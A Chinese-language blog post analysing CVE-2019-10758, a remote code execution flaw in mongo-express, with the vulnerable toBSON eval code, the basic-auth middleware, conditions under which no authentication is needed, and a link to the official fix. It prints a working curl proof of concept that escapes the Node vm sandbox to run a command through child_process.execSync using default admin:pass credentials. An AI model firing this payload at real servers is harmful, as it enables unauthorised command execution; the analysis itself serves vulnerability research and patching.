早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正

漏洞复现

漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758

自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

漏洞触发点

文件express-mongo/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定

路由事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

在toBSON函数中将传入的参数放进vm沙箱里去eval

exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();

  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;
};

绕一下vm逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why

其他触发点

还有一处对mongo传值的地方也存在bson的问题,只是要校验是否存在数据库&表名,利用起来没有checkValid的链方便,不过大多数mongo库都会存在local的库+start_log这个collection

需不需要验证

mongo-express把原始config对象写在config.default.js文件中。

漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==的原因。删掉后请求则会返回未授权

但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?)

下面是关于mongo-express调用basic-auth-connect的认证简单分析

认证流程分析

程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth为false,而config.useBasicAuth在加载配置的阶段默认为true

if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}

接着看文件express-mongo/node_modules/mongo-express/lib/router.js,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定

这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。这里定义了两个全局变量username&password,来存储配置文件的用户名密码。

module.exports = function basicAuth(callback, realm) {
  var username, password;

  // user / pass strings
  if ('string' == typeof callback) {
    username = callback;
    password = realm;
    if ('string' != typeof password) throw new Error('password argument required');
    realm = arguments[2];
    callback = function(user, pass){
      return user == username && pass == password;
    }
  }

  realm = realm || 'Authorization Required';

  return function(req, res, next) {
    var authorization = req.headers.authorization;

    if (req.user) return next();
    if (!authorization) return unauthorized(res, realm);

    var parts = authorization.split(' ');

    if (parts.length !== 2) return next(error(400));

    var scheme = parts[0]
      , credentials = new Buffer(parts[1], 'base64').toString()
      , index = credentials.indexOf(':');

    if ('Basic' != scheme || index < 0) return next(error(400));

    var user = credentials.slice(0, index)
      , pass = credentials.slice(index + 1);

    // async
    if (callback.length >= 3) {
      callback(user, pass, function(err, user){
        if (err || !user)  return unauthorized(res, realm);
        req.user = req.remoteUser = user;
        next();
      });
    // sync
    } else {
      if (callback(user, pass)) {
        req.user = req.remoteUser = user;
        next();
      } else {
        unauthorized(res, realm);
      }
    }
  }
};

在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized。

所以要想不进入basicAuth函数,只需要config.useBasicAuth = false

cli启动-未授权

在mongo-express中还有一种启动方式,即用命令行传递参数。

由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。

那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)

不过在官方文档中给出了一句话:

You can use the following environment variables to modify the container's configuration

因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题

官方修复

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser

点击收藏 | 2 关注 | 2
登录 后跟帖